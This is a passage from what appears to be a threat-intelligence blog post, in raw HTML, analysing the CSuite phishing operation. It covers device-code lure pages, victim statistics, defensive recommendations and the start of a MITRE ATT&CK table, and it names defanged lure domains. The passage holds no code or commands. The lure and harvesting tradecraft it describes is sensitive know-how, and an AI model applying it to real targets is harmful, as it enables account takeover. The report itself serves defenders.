https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-lure-page-740x418.jpg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sharepoint-lure-page.jpg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The example of Device Code Phishing with SharePoint lure page <\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">he device-login window opens with the code already typed into Microsoft&#8217;s field, and the lure switches its button to &#8220;Copied!&#8221;. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Sample (Voice mail):  <\/strong><a href=\"https:\/\/app.any.run\/tasks\/e6919ac3-112f-468a-bbd5-d09f8eea6a84\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>ANY.RUN session<\/strong><\/a> <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Host documentensono[.]sbs, <strong>voicemail <\/strong>template. A Microsoft 365 notification says a voicemail is waiting, complete with caller, duration, a progress bar and a footer about Teams voicemail settings and asks the visitor to sign in to hear it. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-voice-mail-1024x578.jpg\" alt=\"The example of Device Code Phishing with Microsoft Voicemail lure page\" class=\"wp-image-23266\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-voice-mail-1024x578.jpg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-voice-mail-300x169.jpg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-voice-mail-768x434.jpg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-voice-mail-370x209.jpg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-voice-mail-270x152.jpg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-voice-mail-740x418.jpg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-voice-mail.jpg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The example of Device Code Phishing with Microsoft Voicemail lure page<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">Statistics. Victimology <\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Victims of the Capture Arm <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The most reliable victim figure for this operation comes from the CSuite Chameleon module, which reports every credential submission it takes. Raw counting overstates it badly, since the page reports the first password and then asks for it a second time, and since the operators test their own landing pages before a campaign goes live. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After the operator dry runs are separated out and the remaining submissions are merged on the two identity fields, the module reports, the address entered and the victim\u2019s own IP, 778 raw records resolve to <strong>216 unique victims<\/strong>. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"597\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-Module-1024x597.png\" alt=\"From raw records to unique victims, CSuite Chameleon module \" class=\"wp-image-23225\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-Module-1024x597.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-Module-300x175.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-Module-768x448.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-Module-1536x896.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-Module-2048x1195.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-Module-370x216.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-Module-270x158.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-Module-740x432.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>From raw records to unique victims, CSuite Chameleon module <\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Those 216 are the victims of one module. The panel\u2019s other capture paths, Sessions, Adobe Sender and the Offline File generator, write into the panel database and report nothing outward, so their victims are absent from the count entirely. The 29 Office 365 sessions the panel holds, and the mailboxes worked by hand, sit on top of the 216. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-module-1-1024x577.png\" alt=\"The Chameleon module: per-domain credential harvesters, each with its own notification recipient and collect mode\" class=\"wp-image-23268\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-module-1-1024x577.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-module-1-300x169.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-module-1-768x432.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-module-1-1536x865.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-module-1-370x208.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-module-1-270x152.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-module-1-740x417.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Chameleon-module-1.png 2021w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The Chameleon module: per-domain credential harvesters, each with its own notification recipient and collect mode<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">Reach of The Delivery Arm <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The lure pages count their own traffic, and the shape of that funnel says more than the raw event totals. The Adobe download-page campaign logged 14,515 visits from 3,585 distinct addresses; the separate download-triggered stream, which fires only when the archive actually leaves the server, logged 1,706 events from 914 addresses. Roughly a quarter of the machines that reach a page take the payload. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"649\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Distinct-Visitor-Addresses-by-Stage-1024x649.png\" alt=\"CSuite Distinct Visitor Addresses by Stage\" class=\"wp-image-23226\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Distinct-Visitor-Addresses-by-Stage-1024x649.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Distinct-Visitor-Addresses-by-Stage-300x190.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Distinct-Visitor-Addresses-by-Stage-768x486.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Distinct-Visitor-Addresses-by-Stage-1536x973.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Distinct-Visitor-Addresses-by-Stage-2048x1297.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Distinct-Visitor-Addresses-by-Stage-370x234.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Distinct-Visitor-Addresses-by-Stage-270x171.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-Distinct-Visitor-Addresses-by-Stage-740x469.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>CSuite Distinct Visitor Addresses by Stage<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\">Recorded Volumes <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Figures come from ANY.RUN sandbox telemetry, from the alert streams the lure pages generate themselves, and from the counters the operation keeps in its own tooling. <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-382\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"2\"\n           data-rows=\"6\"\n           data-wpID=\"382\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Measure\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Value\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Office 365 sessions held in the panel\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        29 total, 12 active\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Lure documents dispatched from hijacked Adobe Document Cloud tenants\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1,593\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Addresses harvested from captured mailboxes\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        15,955\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Unique visitor addresses on lure page B and its sibling lines\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        185, of which 50 reached a download\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Visitor reports from lure page A\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        82 through 1 September;\u00a09\u00a0of the first\u00a013\u00a0came from one United States region\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-382'>\ntable#wpdtSimpleTable-382{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-382 td, table.wpdtSimpleTable382 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">Two of the panel\u2019s thirty-eight domains and one of its seventeen recorded victims appear anywhere in public telemetry. That ratio is the clearest available measure of how much of this operation stays out of open sources. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">How Organizations Can Reduce the Risk from CSuite <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">CSuite can compromise both identities and endpoints through phishing, device-code authentication, stolen sessions, and legitimate management tools. Defending against it requires visibility across the full attack chain, from the initial lure to account and host access. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Investigate Suspicious Lures Before They Reach Users <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">CSuite uses fake Adobe, DocuSign, Zoom, SharePoint, and Microsoft 365 pages to deliver scripts, installers, and authentication flows. Suspicious files and links should be analyzed in an isolated environment before users interact with them. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"555\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sandbox-analysis-1024x555.png\" alt=\"CSuite attack analyzed inside ANY.RUN\u2019s sandbox \" class=\"wp-image-23269\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sandbox-analysis-1024x555.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sandbox-analysis-300x163.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sandbox-analysis-768x417.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sandbox-analysis-1536x833.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sandbox-analysis-2048x1111.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sandbox-analysis-370x201.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sandbox-analysis-270x146.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-sandbox-analysis-740x401.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>CSuite attack analyzed inside ANY.RUN\u2019s sandbox<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">ANY.RUN\u2019s <a href=\"https:\/\/any.run\/features\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktosandboxlanding\" target=\"_blank\" rel=\"noreferrer noopener\">Interactive Sandbox<\/a> can expose redirects, PowerShell execution, payload delivery, anti-analysis behavior, and remote-management installation across the full attack chain. <\/p>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Cut MTTR by 21 mins per alert.\n<\/span> \n<br>\nIntegrate ANY.RUN in your SOC or MSSP. \n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nContact us<\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h3 class=\"wp-block-heading\">Look Beyond the First Indicator <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">A single malicious domain or URL may be part of a much larger CSuite cluster. Recurring artifacts such as \/m\/js\/utils.js, shared lure patterns, and related infrastructure can help analysts connect activity that would otherwise appear separate.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"613\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-1024x613.png\" alt=\"CSuite lookup\" class=\"wp-image-23238\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-1024x613.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-300x180.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-768x460.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-1536x919.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-370x221.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-270x162.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-740x443.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2.png 1749w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>TI Lookup displays full context into the attack for deeper investigations<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">ANY.RUN <a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Lookup<\/a> lets analysts pivot from domains, IPs, URLs, files, and recurring paths to connected infrastructure. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Keep Detection Current as Infrastructure Changes <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">CSuite rotates domains and hosting, which limits the value of static blocklists alone. Security teams need fresh indicators that can be applied across existing controls as new infrastructure appears. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"462\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-feeds-1-1024x462.png\" alt=\"TI Feeds enriches systems with fresh and actionable IOCs\" class=\"wp-image-23271\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-feeds-1-1024x462.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-feeds-1-300x135.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-feeds-1-768x346.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-feeds-1-1536x692.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-feeds-1-2048x923.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-feeds-1-370x167.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-feeds-1-270x122.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/TI-feeds-1-740x334.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>TI Feeds enriches systems with fresh and actionable IOCs<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">ANY.RUN <a href=\"https:\/\/any.run\/threat-intelligence-feeds\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktotifeedslanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Feeds <\/a>can deliver current malicious domains, IPs, URLs, and other IOCs into SIEM, EDR, firewalls, and other security tools. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Correlate Identity and Endpoint Activity <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Unexpected Microsoft 365 sessions, device-code authentication, and new management-agent installations should be investigated together. With CSuite, activity that looks like separate identity and endpoint incidents may belong to the same attack. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Contain More Than the Password <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If session or device-code compromise is suspected, revoke active sessions and tokens, review OAuth grants and mailbox rules, and investigate activity performed through the affected account. Unauthorized management agents should also be removed and affected endpoints checked for persistence. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">CSuite combines phishing, session theft, and remote-access delivery within a single operation, giving attackers multiple paths into both accounts and endpoints. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For security teams, the key challenge is that these paths can appear separate while supporting the same campaign. Detection therefore needs to connect identity activity, phishing infrastructure, and unexpected use of legitimate management tools. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The scale seen in CSuite also suggests that the activity extends beyond what any single telemetry source can capture, making early correlation and cross-layer visibility especially important. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">About ANY.RUN<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/any.run\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktolanding\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>ANY.RUN<\/strong><\/a> is a leading provider of interactive malware analysis and threat intelligence solutions trusted by <strong>16,000+ organizations and 700,000+ security professionals worldwide<\/strong>, including <strong>74% of the Fortune 100<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Its <a href=\"https:\/\/any.run\/features\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktosandboxlanding\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Interactive Sandbox<\/strong><\/a> and <a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Threat Intelligence<\/strong><\/a> solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich alerts with actionable context, and connect related activity across files, infrastructure, and campaigns. This helps teams investigate threats faster, make more confident response decisions, and contain malicious activity before it creates wider business impact.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">TTPs (MITRE ATT&amp;CK) <\/h2>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-381\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"29\"\n           data-wpID=\"381\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Technique\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        ID\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Description\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Acquire\u00a0infrastructure: domains\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1583.001\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used one registrar account with WHOIS privacy to register 38 lure,\u00a0redirectorand harvester domains\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Acquire\u00a0infrastructure: domains\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1583.001\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used lookalike registrations such asambitiousaboutautismorguk[.]com\u00a0andsolarengyloanfunds[.]com\u00a0to present credential prompts under the name of a real\u00a0organisation\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Acquire\u00a0infrastructure: server\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1583.004\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used the shared-hosting account\u00a0to host lure pages and payload archives\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Compromise infrastructure: server\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1584.004\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used compromised legitimate websites among the 170 hosts in the sandbox corpus to serve the same lure kit\u00a0                    <\/td>\n                                        <\/tr>\n                 